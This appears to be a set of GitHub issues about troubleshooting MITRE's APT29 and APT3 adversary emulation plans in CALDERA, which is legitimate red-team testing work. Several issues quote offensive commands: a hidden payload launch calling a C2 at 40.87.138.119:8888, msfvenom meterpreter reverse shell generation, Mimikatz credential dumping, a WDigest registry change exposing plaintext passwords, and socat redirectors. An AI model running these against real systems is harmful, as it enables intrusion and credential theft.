Good morning Attack Arsenal team,

I was running the plugin and It cannot move from there

Everything gets created properly in the endpoint, but I do not know why it would not continue

I also patched this in my build: #2 thats why the host-provision step works.

The last script/commands executed was:

Thank you in advance!

Hello,

it working fine for 2.6.6.
This plugin not work in 2.7.0 getting below error.

2020-08-28 18:03:33 - DEBUG (data_svc.py:110 _load) ValidationError({'visible': ['Unknown field.']},)
Traceback (most recent call last):
File "/home/ubuntu/caldera/app/service/data_svc.py", line 105, in _load
await self._load_adversaries(plug)
File "/home/ubuntu/caldera/app/service/data_svc.py", line 115, in _load_adversaries
adversary = Adversary.load(adv)
File "/home/ubuntu/caldera/app/utility/base_object.py", line 81, in load
return cls.schema.load(dict_obj)
File "/usr/local/lib/python3.6/dist-packages/marshmallow/schema.py", line 723, in load
data, many=many, partial=partial, unknown=unknown, postprocess=True
File "/usr/local/lib/python3.6/dist-packages/marshmallow/schema.py", line 904, in _do_load
raise exc
marshmallow.exceptions.ValidationError: {'visible': ['Unknown field.']}

Any plan to release for 2.7.0

Thanks

This is the last command found in the preparation of the SeaDuke payload in payload_configs.md:
pyinstaller -F python.py --upx --brute python.exe

According to the PyInstaller documents on using UPX, , there does not seem to be a --upx option available.

Running it on the command prompt also shows that such an option was rejected in my case:

From my understanding, in addition to not having --upx, it does not seem possible to pass UPX-related options to the pyinstaller command, i.e. I could not pass the --brute option to pyinstaller, which would run with UPX.

The command which worked for me was pyinstaller -F python.py --upx-exclude vcruntime140.dll.

Without excluding vcruntime140.dll, the meterpreter session from python.exe would not be opened, as the executable would exit with an error code of -1:

According to a user in an issue opened on PyInstaller's end, "UPX compression strips the SHA Digital Signature from vcruntime140.dll so it is no longer seen as valid."

1. Is there a version of pyinstaller that runs with the option --upx that I was unaware of?
2. Is there a way to pass the option of --brute to the UPX that is running with PyInstaller (if my version of the command is correct)?

Found several minor typos (e.g. spelling, grammatical, or relating to file names) in 3 files - they are surrounded by asterisks:

Day 1 - README.md

The payloads are customized **varients** of reverse shells from Pupy RAT and Metasploit.

Zip modified **SysIntenralsSuite** folder

Day 1 - payload_configs.md

Move cursor to **begining** of filename

Transfer **pyton.py** to Windows attack platform

Day 2 - README.md

Scenario begins with a target spearphishing leading into a low and slow, methodical approach to owning the **intial** target and eventually the entire domain

**Oneline** OneDrive Account

Generate DLL payload, then on a **seperate** Windows host:

Copy payloads to C2 server (wherever is **approapropriate** your C2 framework to have access to these files)

Prepare **intial** access payloads

**Login in** as domain admin user

Copy over the following files onto the Desktop of the **intial** victim:

Copy over `MITRE-ATTACK-EVALS.HTML` into **the the** Documents folder of the **intial** victim

You will now **recieve** a new, low integrity callback

You will now **recieve** a new, high integrity callback

**17.A - Blank Step 4**

According to the Full profile of APT3 here, the 19 phases are executed in one-shot.

When adding an Operation to run this particular profile, we start off with the initial red group:

However, it appears that we are unable to change the group in which the Operation is based on, mid-way through the Operation. This is required because 3.B should be executed with the diy_eval group, and 4 - 5.A should be executed with yet another group. Else, the entire Operation is running only on the initial medium-integrity Agent callback (as seen in the yml file and also as tested). This would mean that that only around half of the Operation is executed correctly.

We can see that at the end of this Operation, there are only 2 Agents (the high-integrity one is spawned from 3.A, but none of the steps are carried out using it):

Is there something that I am doing wrong when running the Full profile, or is this a feature limitation in CALDERA in not being able to switch between Groups in a single Operation?

Hi,

I'm getting an error stating that the payload wasn't found when running the ATT&CK Eval APT29 - Day 1 profile:

Sleep 3;$bin = Get-ChildItem *cod*scr*;$arguments = '-server "http://40.87.138.119:8888" -group "rtlo_group"';start-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;if ($?) { write-host "Successfully completed RTLO execution. A new agent should appear"; exit 0;} else { write-host "Failure of RTLO execution."; exit 1;}
__________________________
Payload(s) not available: 

Most other actions seems to be working well: https://i.imgur.com/4z37FG5.png

The payload seems to exist in plugins/evals/payloads:

root@28323b9446f0:/usr/src/app/plugins/evals/payloads# ls
 2016_United_States_presidential_election_-_Wikipedia.html   StealToken.ps1            rar.exe                      stepSeventeen_zip.ps1
 File-Collection.ps1                                         cod.3aka.scr.exe          sandcat.go-windows           stepSixteen_SID.ps1
 Get-Screenshot.ps1                                          dmevals.local.pfx         sandcat.go-windows-upx       stepThirteen.ps1
 Invoke-BypassUACTokenManipulation.ps1                       invoke-winrmsession.ps1   schemas.ps1                  stepTwelve.ps1
 Invoke-Mimikatz.ps1                                         m.exe                     setup.py                     timestomp.ps1
 Invoke-PSInject.ps1                                         make_lnk.ps1              stepFifteen_wmi.ps1          update.ps1
 MITRE-ATTACK-EVALS.HTML                                     monkey.png                stepFourteen_bypassUAC.ps1   upload.ps1
 Modified-SysInternalsSuite.zip                              powerview.ps1             stepFourteen_credDump.ps1    wipe.ps1
 README.md                                                   ps.ps1                    stepSeventeen_email.ps1     ''$'\342\200\256''cod.3aka.scr.exe'

I'm running v 2.6.6 in a docker if that could be causing any issues?

Hello,

For Day 1.A of APT29 executed using the CALDERA plugin, phase 7 uses the Modified-SysInternalsSuite.zip payload.

This zip file consists of the following:

1. accesschk.exe
2. hostui.txt
3. javamtsup.exe
4. psversion.txt
5. readme.txt

While it is mentioned in a section in the README that the Python script "dynamically updates the payloads to the appropriate IP and port" (which it does in effect), it does not update the payloads in the said zip file to my understanding.

To this end, would like to clarify if are we required to manually update the appropriate IP and port in each of the 5 files above (where required), and zip them when done, before placing them back into the plugins/evals/payloads directory? This would be due to the fact that the Python script only covers .ps1 and .txt files?

Thank you!

Hi,

I was trying to follow the installation steps given to reproduce the APT 29 attack.
I'm currently on a MacOS BigSur version 11.2.1
and running a zsh shell, although that shouldn't be a problem given that the script interpreters use /bin/bash
Go version: go version go1.16.2 darwin/amd64
Python version: Python 3.7.7

Once I've moved to the caldera folder, and run sudo ./install.sh

SCRIPT=$(readlink -f "$0") fails and gives out this error:

readlink: illegal option -- f
usage: readlink [-n] [file ...]

CALDERA_DIR=$(dirname "$SCRIPT")

Therefore the CALDERA_DIR is wrongly configured, causing a chain of errors later on.

For now, I'm hardcoding changing the correct directory path in install.sh, as well as changing the python interpreter path for the doc building.

The full script output is:

bash-3.2$ sudo ./install.sh
readlink: illegal option -- f
usage: readlink [-n] [file ...]
[-] Installing on OS X...
[-] Checking for Homebrew
/usr/local/bin/brew
[+] Homebrew already installed
[-] Checking for GO
/usr/local/bin/go
[+] GO already installed
[-] Checking for MinGW
/usr/local/bin/x86_64-w64-mingw32-gcc
[+] MinGW already installed
[-] Checking for Python
/Users/.../.pyenv/shims/python3
[+] Python already installed
[-] Generating Random Values
cat: /proc/sys/kernel/random/uuid: No such file or directory
cat: /proc/sys/kernel/random/uuid: No such file or directory
[x] caldera random api_key FAILED to install
cat: /proc/sys/kernel/random/uuid: No such file or directory
cat: /proc/sys/kernel/random/uuid: No such file or directory
[x] caldera random cryps_salt FAILED to install
[+] Random Values added to default.yml
[-] Installing on GO dependencies
[+] GO github installed
[+] GO oath2 installed
[-] Setting up Python venv
WARNING: You are using pip version 19.2.3, however version 21.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
[+] Python virtualenv installed
[+] Caldera python venv installed
ERROR: Could not open requirements file: [Errno 2] No such file or directory: './requirements.txt'
[x] Caldera python requirements FAILED to install
1
[-] Building documentation
zsh:1: no such file or directory: ./calderaenv/bin/sphinx-build
[x] sphinx documentation FAILED to install
[x] Caldera installer FAILED to install critical components
[x] See install_log.txt for details

And the logs in install_log.txt are as such:

CALDERA install log
[+] Homebrew already installed
[+] GO already installed
[+] MinGW already installed
[+] Python already installed
[x] caldera random api_key FAILED to install

• command: sed -i.backup "s/ADMIN123//g" conf/default.yml
  [x] caldera random cryps_salt FAILED to install
• command: sed -i.backup "s/REPLACE_WITH_RANDOM_VALUE//g" conf/default.yml
  [+] GO github installed
  [+] GO oath2 installed
  [+] Python virtualenv installed
  [+] Caldera python venv installed
  [x] Caldera python requirements FAILED to install
• command: ./calderaenv/bin/pip -q install -r ./requirements.txt
  [x] sphinx documentation FAILED to install
• command: ./calderaenv/bin/sphinx-build -b html ./docs ./docs/_build

Hope this helps! Thanks in advance for your help and time. Please let me know if you need anything else.

Leonardo

When I executed wmidump (point 6 of Step 14.B), all of the passwords which returned were (null):

Looking at stepFourteen_credDump.ps1, I found $ProcessInfo.Arguments = @("privilege::debug","sekurlsa::logonpasswords","exit"); which were passed into the Mimikatz executable. I decided to run m.exe on the victim machine with the same 2 commands manually.

This is an example of a paragraph from the output after running the above 2 commands:

The white arrow in the screenshot shows that for this particular Authentication Id, that field has a value of (null). Additionally, manual execution of the executable does indeed show that all Password fields had a value of (null).

I came across this Microsoft link, and attempted a shot:

In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, there was no UseLogonCredential originally:

After adding in UseLogonCredential and setting it to 1:

I manually executed the Mimikatz executable first, and found that for the same Authentication Id, I was able to see the password (under Kerberos) now.

I executed wmidump this time, and found that the password was showing up (as expected based on the second time the manual execution was carried out):

I am not sure if ...:

1. ... there is indeed a missing setup step (which would be under Victim Setup), or if there is something that I missed in the setup that caused me to see only (null) values as passwords.
2. ... the addition of the registry entry (as shown above) is a correct fix in this case, should there indeed be a missing setup step. Interestingly the new registry entry was under WDigest, while the expected passwords appeared in the Kerberos section of the Mimikatz executable output instead.

Issue 1

It is stated that the first step to re-create the monkey.png is msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker IP> LPORT=443 --format psh-cmd -o meterpreter.ps1.

However, by using --format psh-cmd, I was thinking that the output from the command would actually be meant to be ran in a Command Prompt (rather than in a PowerShell). According to a Rapid7 link about generating PowerShell payloads, "the generated payload for psh-cmd format has a .cmd extension." Nonetheless, the psh-cmd format was stated under the section for PowerShell payloads (which had me puzzled).

Looking deeper into this, we see that the very first word in meterpreter.ps1 is %COMSPEC%:

Subsequently, meterpreter.ps1 is embedded into a PNG file using Invoke-PSImage as mentioned.

From what I understand, in Step 3.B, the one-liner will execute the contents of meterpreter.ps1 in a PowerShell after extracting it from the pixels of monkey.png. The one-liner is only executed towards the end of Step 3.B, when %windir%\system32\sdclt.exe is executed.

In this context, this would mean that %COMSPEC% is executed in a PowerShell, which resulted in this error on the victim machine (I removed -noni and -window hidden in this case for debugging purposes):

To confirm the above, I tried to run it verbatim as %COMSPEC%:

The way to get the environment variable in PowerShell would be $env:ComSpec:

In light of the above, I changed the format from psh-cmd to psh, and I managed to get a Meterpreter session opened.

Should the format be psh-cmd (i.e. I missed out something or ran something wrongly, etc.), or is there a typo (i.e. it should be psh)?

Issue 2

I think there is a typo for the Invoke-PSImage command.

The current command in payload_configs.md is Invoke-PSImage -Script .\meterpreter.ps1.ps1 -Out .\monkey.png -Image .\monkey.jpg.

There is an extra .ps1 in the parameter -Script.

Hello,

In Phase 8 of APT29 Day1.A of CALDERA, the last command executed is .\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysInternalsSuite.zip";.

I have been unable to get a success response from that command, i.e. the output is always No files/folders found that match C:\Users\...\Downloads\SysInternalsSuite.zip.

I understand that the SysInternalsSuite.zip file was originally uploaded to the Downloads directory in Step 4.A of the manual emulation (and which is also why it is deleted using SDelete in Step 4.B). However, when running the CALDERA plugin, where SysInternalsSuite.zip is first involved in Phase 7, it is not actually downloaded to the Downloads directory like how it is done in the manual emulation (see line 15 of CALDERA phase 7). Nonetheless, the zip file's contents were unzipped to the Downloads directory during Phase 7's execution in line 16.

Thus, would it be right to say that since the SysInternalsSuite.zip file in CALDERA execution's case was never downloaded to the Downloads directory, the SDelete tool would thus always fail in Phase 8? (On another note, I am not sure where the zip file is downloaded to during the downloading in line 15, but I am guessing that it is to the same directory which the Agent it is running under is located?)

Thank you!

Hi,

I was trying to follow the installation steps given to reproduce the APT 29 attack.
I'm currently on a MacOS BigSur version 11.2.1
and running a zsh shell, although that shouldn't be a problem given that the script interpreters use /bin/bash
Go version: go version go1.16.2 darwin/amd64
Python version: Python 3.7.7

One of setup instructions is to update appropriately ./data/sources/4fb34bde-b06d-445a-a146-8e35f79ce546.yml:

Next, update the CALDERA facts located here ./data/sources/4fb34bde-b06d-445a-a146-8e35f79ce546.yml with the appropriate values for your environment. Keys to update include:

This file comes from the CALDERA_DIY/evals/data/sources/ folder which we copy into our caldera folder with this command:

cp -R attack-arsenal/adversary_emulation/APT29/CALDERA_DIY/evals caldera/plugins/

Here we're copying the the evals folder in caldera/plugins.

I'm a bit confused as to whether we want to copy the file /caldera/plugins/evals/data/sources/4fb34bde-b06d-445a-a146-8e35f79ce546.yml to /caldera/data/sources/ and then edit it appropriately, or leave the file in /caldera/plugins/evals/data/sources/ and edit it there.

Hope this helps! Thanks in advance for your help and time. Please let me know if you need anything else.

Leonardo

Tested on Ubuntu 18.04.3 LTS

Scenario:
As described in the install_day1_tools.sh (https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/Emulation_Plan/Day%201/install_day1_tools.sh)

Install pre-reqs

sudo apt update -y
sudo apt install curl git -y

Install Pupy RAT

git clone --recursive https://github.com/n1nj4sec/pupy.git
cd pupy
./install.sh
sed 's/9000:9000/1234:1234/g' pupy/conf/docker-compose.yml > /tmp/docker-compose.yml

sed command failed because docker-compose.yml doesn't exist.

(docker installed on the system)

Can you please provide steps to fix this issue?

Thanks

In the Red Team Setup part, we need to "Generate an encoded PowerShell oneliner payload" but I didnt see any instructions about how to generate this payload nor any information about what that is supposed to do.
Can some one help me generate this payload ?

Hi,

I was trying to follow the installation steps given to reproduce the APT 29 attack.
I'm currently on a MacOS BigSur version 11.2.1
and running a zsh shell, although that shouldn't be a problem given that the script interpreters use /bin/bash
Go version: go version go1.16.2 darwin/amd64
Python version: Python 3.7.7

The first command given in the 'Initial CALDERA Installation' is:

git clone https://github.com/mitre/caldera.git --recursive --branch 2.6.6 && sudo ./install.sh

My first question is whether the 2.6.6 branch is required for this specific attack, or if we can use the latest branch version in order to limit amount of bugs encountered (perhaps that could be added to the readme).

Edit: Just saw that 2.6.6 was required for the attack, still think it'd be useful to add to readme

And then, because the install.sh file is in the repo itself shouldn't the first command be as such:

git clone https://github.com/mitre/caldera.git --recursive --branch 2.6.6 && sudo ./caldera/install.sh

or

git clone https://github.com/mitre/caldera.git --recursive --branch 2.6.6 && cd caldera && sudo ./install.sh

Hope this helps! Thanks in advance for your help and time. Please let me know if you need anything else.

Leonardo

Hey there,

I'm currently integrating CALDERA (including this plugin) into another framework I'm working on, which basically simulates a small company network. Everything works out so far, but one question remains: What causes some abilities to be skipped every single time? I ran 20 separate simulations and in every single one of them the following abilities (from APT29) didn't execute:

• 1.B - PowerShell
• 8.B - Copy Sandcat File
• 18.A - Exfiltrate data to OneDrive
• 20.A.1 - Execute Invoke-Mimikatz

It's not directly a problem that these don't run, but I need to know for sure why that happens, I can't just guess it. Can you point me to any resource where I could find more information? The CALDERA docs sadly were of no help, neither are the respective ability files. Am I overlooking something?

In the payload preparations:
Generate DLL payload, then on a separate Windows host:
[CMD] > certutil -encode [file].dll blob

Is this dll from the posh2?
If yes, there are multiple dll files in the posh2 payloads. Which one should i use?

First off, probably not the most appropriate place to post this question: I understand that this repository is targeted at APT29 (which is also pointed out at #24).

However,

1. the mitre-attack/evals_caldera repository that originally catered just for APT3 is no longer active,
2. I was informed at mitre/caldera#1843 that that repository was superseded by this one, and that
3. an email to [email protected] told me that "most, if not all issues are actually a result of CALDERA versioning" when I asked about where I should direct queries relating to APT3 portions of CALDERA to.

If someone can point me to the right channel/person, that would be great!

This phase is not working out for me - I am getting a new Agent at the end of this particular phase, but it is one with medium-integrity only:

The output shows a successful one:

To temporarily get around this, I had swapped it out with Invoke-EnvBypass.ps1 - which gives me a high-integrity Agent at the end of this phase. However, with this new way of doing Phase 9, running the high-integrity Agent against 3.B-3.C did not work out as it always resulted in a timeout:

This was executed in a Windows v1803 machine (not v1903 like what was mentioned in mitre-attack/evals_caldera#1), with anti-virus disabled.

Anyway that I should debug this? Thank you!

As title, if I'm not misunderstanding these two repositories,
attack-arsenal currently contains APT29 and APT3 plugin for caldera, and an emulation plan to run APT29 step-by-step.
On the other hand, evals_caldera contains APT3 plugin for caldera.

These two repositories seem to cover similar parts, may I ask the relationship between them?

Since the resources (including plugins) are released in previous rounds (APT29 for 2019 and APT3 for 2018), I'm also curious that if the resources for Carbanak would be released as well?

For APT29 Day Emulation Plan, under Red Team setup, it currently reads:
Setup Redirector: 192.168.0.5 (or the value used for the Redirector IP)
From the redirector system, setup port forwarding using Socat
sudo socat TCP-LISTEN:443,fork TCP:192.168.0.4:443 & sudo socat TCP-LISTEN:1234,fork TCP:192.168.0.4:1234 & sudo socat TCP-LISTEN:8443,fork TCP:192.168.0.4:8443 &
I believe it should read:
sudo socat TCP-LISTEN:443,fork TCP:192.168.0.5:443 & sudo socat TCP-LISTEN:1234,fork TCP:192.168.0.5:1234 & sudo socat TCP-LISTEN:8443,fork TCP:192.168.0.5:8443 &